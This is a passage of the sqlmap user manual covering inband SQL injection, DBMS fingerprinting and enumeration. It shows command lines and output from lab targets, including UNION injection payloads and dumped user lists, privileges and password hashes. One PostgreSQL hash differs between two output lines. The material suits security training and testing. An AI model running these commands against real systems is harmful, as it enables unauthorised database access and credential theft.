<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
|
|
</table>
|
|
</body></html>
|
|
|
|
[hh:mm:29] [DEBUG] performed 3 queries in 0 seconds
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the MySQL <CODE>CURRENT_USER()</CODE> function (--current-user)
|
|
output is nested, inband, within the HTTP response page, this makes the
|
|
inband SQL injection exploited.</P>
|
|
|
|
<P>In case the inband SQL injection is not fully exploitable, sqlmap will
|
|
check if it is partially exploitable: this occurs if the query output
|
|
is not parsed within a <CODE>for</CODE>, or similar, cycle but only the first
|
|
entry is displayed in the page content.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \
|
|
--union-use --dbs
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:56] [INFO] fetching database names
|
|
[hh:mm:56] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
|
|
[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
|
|
vulnerability
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
|
|
IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
|
|
FROM information_schema.SCHEMATA# AND 1062=1062
|
|
[hh:mm:56] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:56] [INFO] the SQL query provided returns 4 entries
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
|
|
[hh:mm:56] [DEBUG] performed 7 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
|
|
[hh:mm:56] [DEBUG] performed 8 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
|
|
[hh:mm:56] [DEBUG] performed 9 queries in 0 seconds
|
|
[hh:mm:56] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
|
|
CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
|
|
information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
|
|
[hh:mm:56] [DEBUG] performed 10 queries in 0 seconds
|
|
available databases [4]:
|
|
[*] information_schema
|
|
[*] mysql
|
|
[*] privatedb
|
|
[*] testdb
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap identified that the parameter is affected by a
|
|
partial inband SQL injection. Consequently, it counted the number of query
|
|
output entries and retrieved them once per time. It forces the parameter
|
|
(<CODE>id</CODE>) value <CODE>1</CODE> to its negative value <CODE>-1</CODE> so that
|
|
it does not return, presumibly, any output. That leaves our own <CODE>UNION ALL
|
|
SELECT</CODE> statement to produce one entry at a time and display only it in
|
|
the page content.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.6">5.6</A> <A HREF="#toc5.6">Fingerprint</A>
|
|
</H2>
|
|
|
|
<H3>Extensive database management system fingerprint</H3>
|
|
|
|
<P>Options: <CODE>-f</CODE> or <CODE>-</CODE><CODE>-fingerprint</CODE></P>
|
|
|
|
<P>By default the web application's back-end database management system
|
|
fingerprint is performed requesting a database specific function which
|
|
returns a known static value. By comparing these value with the returned
|
|
value it is possible to identify if the back-end database is effectively
|
|
the one that sqlmap expected. Depending on the DBMS being tested, a
|
|
SQL dialect syntax which is syntatically correct depending upon the
|
|
back-end DBMS is also tested.</P>
|
|
<P>After identifying an injectable vector, sqlmap fingerprints the back-end
|
|
database management system and go ahead with the injection with its
|
|
specific syntax within the limits of the database architecture.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1
|
|
|
|
[...]
|
|
[hh:mm:17] [INFO] testing MySQL
|
|
[hh:mm:17] [INFO] confirming MySQL
|
|
[hh:mm:17] [INFO] retrieved: 5
|
|
[hh:mm:17] [INFO] the back-end DBMS is MySQL
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap automatically fingerprints the web server operating
|
|
system and the web application technology by parsing some HTTP response headers.</P>
|
|
|
|
<P>If you want to perform an extensive database management system fingerprint
|
|
based on various techniques like specific SQL dialects and inband error
|
|
messages, you can provide the <CODE>-</CODE><CODE>-fingerprint</CODE> option.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:49] [INFO] testing MySQL
|
|
[hh:mm:49] [INFO] confirming MySQL
|
|
[hh:mm:49] [INFO] retrieved: 3
|
|
[hh:mm:49] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] retrieved:
|
|
[hh:mm:49] [INFO] retrieved: t
|
|
[hh:mm:49] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:38] [WARNING] the back-end DMBS is not MySQL
|
|
[hh:mm:38] [INFO] testing Oracle
|
|
[hh:mm:38] [INFO] confirming Oracle
|
|
[hh:mm:38] [INFO] the back-end DBMS is Oracle
|
|
[hh:mm:38] [INFO] retrieved: 10
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Oracle 10g
|
|
html error message fingerprint: Oracle
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:14] [WARNING] the back-end DMBS is not Oracle
|
|
[hh:mm:14] [INFO] testing PostgreSQL
|
|
[hh:mm:14] [INFO] confirming PostgreSQL
|
|
[hh:mm:14] [INFO] the back-end DBMS is PostgreSQL
|
|
[hh:mm:14] [INFO] retrieved: 2
|
|
[hh:mm:14] [INFO] retrieved:
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: PostgreSQL >= 8.3.0
|
|
html error message fingerprint: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see from the last example, sqlmap first tested for MySQL,
|
|
then for Oracle, then for PostgreSQL since the user did not forced the
|
|
back-end database management system name with option <CODE>-</CODE><CODE>-dbms</CODE>.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 1 -f
|
|
|
|
[...]
|
|
[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:41] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:41] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:41] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
html error message fingerprint: Microsoft SQL Server
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>If you want an even more accurate result, based also on banner parsing,
|
|
you can also provide the <CODE>-b</CODE> or <CODE>-</CODE><CODE>-banner</CODE> option.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:04] [INFO] testing MySQL
|
|
[hh:mm:04] [INFO] confirming MySQL
|
|
[hh:mm:04] [DEBUG] query: SELECT 0 FROM information_schema.TABLES LIMIT 0, 1
|
|
[hh:mm:04] [INFO] retrieved: 0
|
|
[hh:mm:04] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:04] [INFO] the back-end DBMS is MySQL
|
|
[hh:mm:04] [DEBUG] query: VERSION()
|
|
[hh:mm:04] [INFO] retrieved: 5.0.67-0ubuntu6
|
|
[hh:mm:05] [DEBUG] performed 111 queries in 1 seconds
|
|
[hh:mm:05] [DEBUG] query: SELECT 0 FROM information_schema.PARAMETERS LIMIT 0, 1
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [DEBUG] query: MID(@@table_open_cache, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved:
|
|
[hh:mm:05] [DEBUG] performed 6 queries in 0 seconds
|
|
[hh:mm:05] [DEBUG] query: MID(@@hostname, 1, 1)
|
|
[hh:mm:05] [INFO] retrieved: t
|
|
[hh:mm:06] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:06] [INFO] executing MySQL comment injection fingerprint
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
|
|
comment injection fingerprint: MySQL 5.0.67
|
|
banner parsing fingerprint: MySQL 5.0.67
|
|
html error message fingerprint: MySQL
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, sqlmap was also able to fingerprint the back-end DBMS
|
|
operating system by parsing the DBMS banner value.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [DEBUG] performed 13 queries in 0 seconds
|
|
[hh:mm:03] [DEBUG] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
|
|
[hh:mm:08] [DEBUG] performed 1308 queries in 4 seconds
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS operating system: Windows 2000 Service Pack 4
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
|
|
banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
|
|
version 8.00.194
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 2 -f -b
|
|
|
|
[...]
|
|
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
|
|
[hh:mm:03] [INFO] testing Microsoft SQL Server
|
|
[hh:mm:03] [INFO] confirming Microsoft SQL Server
|
|
[hh:mm:03] [INFO] the back-end DBMS is Microsoft SQL Server
|
|
[hh:mm:03] [DEBUG] query: @@VERSION
|
|
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
|
|
[hh:mm:15] [DEBUG] performed 1343 queries in 11 seconds
|
|
web server operating system: Windows 2003 or 2000
|
|
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
|
|
back-end DBMS operating system: Windows 2003 Service Pack 1
|
|
back-end DBMS: active fingerprint: Microsoft SQL Server 2005
|
|
banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0
|
|
version 9.00.1399
|
|
html error message fingerprint: Microsoft SQL Server
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, from the Microsoft SQL Server banner, sqlmap was able to
|
|
correctly identify the database management system patch level.
|
|
The Microsoft SQL Server XML versions file is the result of a sqlmap
|
|
parsing library that fetches data from Chip Andrews'
|
|
<A HREF="http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx">SQLSecurity.com site</A> and outputs it to the XML versions file.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.7">5.7</A> <A HREF="#toc5.7">Enumeration</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to enumerate the back-end database management
|
|
system information, structure and data contained in the tables. Moreover
|
|
you can run your own SQL statements.</P>
|
|
|
|
|
|
<H3>Banner</H3>
|
|
|
|
<P>Option: <CODE>-b</CODE> or <CODE>-</CODE><CODE>-banner</CODE></P>
|
|
|
|
<P>Most of the modern database management systems have a function and/or
|
|
an environment variable which returns details on the database management
|
|
system version. Also, sometimes it returns the operating system version
|
|
where the daemon has been compiled on, the operating system architecture,
|
|
and its service pack. Usually the function is <CODE>version()</CODE> and the
|
|
environment variable <CODE>@@version</CODE>.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: '5.0.67-0ubuntu6'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
|
|
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b -v 0
|
|
|
|
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -b -v 0
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" -v 0 -b
|
|
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
|
|
Oct 14 2005 00:33:37
|
|
Copyright (c) 1988-2005 Microsoft Corporation
|
|
Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Session user</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-current-user</CODE></P>
|
|
|
|
<P>It is possible to retrieve the database management system's user which is
|
|
effectively performing the query on the database from the web application.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0
|
|
|
|
current user: 'testuser@localhost'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Current database</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-current-db</CODE></P>
|
|
|
|
<P>It is possible to retrieve the database management system's database the
|
|
web application is connected to.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --current-db -v 0
|
|
|
|
current database: 'master'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Detect if the session user is a database administrator (DBA)</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-is-dba</CODE></P>
|
|
|
|
<P>It is possible to detect if the current database management system session user is
|
|
a database administrator.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:49] [INFO] testing if current user is DBA
|
|
[hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
|
|
usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:57] [INFO] testing if current user is DBA
|
|
[hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
|
|
GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
|
|
THEN 1 ELSE 0 END) FROM DUAL
|
|
[hh:mm:58] [INFO] retrieved: 1
|
|
[hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
|
|
current user is DBA: 'True'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-users</CODE></P>
|
|
|
|
<P>It is possible to enumerate the list of database management system users.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0
|
|
|
|
database management system users [3]:
|
|
[*] postgres
|
|
[*] testuser
|
|
[*] testuser2
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users password hashes</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-passwords</CODE> and <CODE>-U</CODE></P>
|
|
|
|
<P>It is possible to enumerate the password hashes for each database
|
|
management system user.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
|
|
|
|
[*] debian-sys-maint [1]:
|
|
password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
|
|
[*] root [1]:
|
|
password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
|
|
[*] testuser [1]:
|
|
password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also provide the <CODE>-U</CODE> option to specify the user who you
|
|
want to enumerate the password hashes.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
|
|
-U sa -v 0
|
|
|
|
database management system users password hashes:
|
|
[*] sa [1]:
|
|
password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
|
|
ba9930b62ee5d506955
|
|
header: 0x0100
|
|
salt: 0a16d704
|
|
mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
|
|
uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when you enumerate password hashes on Microsoft SQL Server
|
|
sqlmap split the hash, useful if you want to crack it.</P>
|
|
|
|
<P>If you provide <CODE>CU</CODE> as username it will consider it as an alias for
|
|
current user and will retrieve the password hashes for this user.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
|
|
-U CU -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:48] [INFO] fetching current user
|
|
[hh:mm:48] [INFO] retrieved: postgres
|
|
[hh:mm:49] [INFO] fetching database users password hashes for current user
|
|
[hh:mm:49] [INFO] fetching number of password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] retrieved: 1
|
|
[hh:mm:49] [INFO] fetching password hashes for user 'postgres'
|
|
[hh:mm:49] [INFO] retrieved: md5d7d880f96044b72d0bba108ace96d1e4
|
|
database management system users password hashes:
|
|
[*] postgres [1]:
|
|
password hash: md5d7d880f96034b72d0bba108afe96c1e7
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Users privileges</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-privileges</CODE> and <CODE>-U</CODE></P>
|
|
|
|
<P>It is possible to enumerate the privileges for each database management
|
|
system user.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
|
|
|
|
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
|
|
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
|
|
database management system users privileges:
|
|
[*] CTXSYS [2]:
|
|
privilege: CTXAPP
|
|
privilege: RESOURCE
|
|
[*] DBSNMP [1]:
|
|
privilege: OEM_MONITOR
|
|
[*] FLOWS_020100 (administrator) [4]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
privilege: SELECT_CATALOG_ROLE
|
|
[*] FLOWS_FILES [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] HR (administrator) [3]:
|
|
privilege: CONNECT
|
|
privilege: DBA
|
|
privilege: RESOURCE
|
|
[*] MDSYS [2]:
|
|
privilege: CONNECT
|
|
privilege: RESOURCE
|
|
[*] OUTLN [1]:
|
|
privilege: RESOURCE
|
|
[*] SYS (administrator) [22]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: AQ_USER_ROLE
|
|
privilege: AUTHENTICATEDUSER
|
|
privilege: CONNECT
|
|
privilege: CTXAPP
|
|
privilege: DBA
|
|
privilege: DELETE_CATALOG_ROLE
|
|
privilege: EXECUTE_CATALOG_ROLE
|
|
privilege: EXP_FULL_DATABASE
|
|
privilege: GATHER_SYSTEM_STATISTICS
|
|
privilege: HS_ADMIN_ROLE
|
|
privilege: IMP_FULL_DATABASE
|
|
privilege: LOGSTDBY_ADMINISTRATOR
|
|
privilege: OEM_ADVISOR
|
|
privilege: OEM_MONITOR
|
|
privilege: PLUSTRACE
|
|
privilege: RECOVERY_CATALOG_OWNER
|
|
privilege: RESOURCE
|
|
privilege: SCHEDULER_ADMIN
|
|
privilege: SELECT_CATALOG_ROLE
|
|
privilege: XDBADMIN
|
|
privilege: XDBWEBSERVICES
|
|
[*] SYSTEM (administrator) [2]:
|
|
privilege: AQ_ADMINISTRATOR_ROLE
|
|
privilege: DBA
|
|
[*] TSMSYS [1]:
|
|
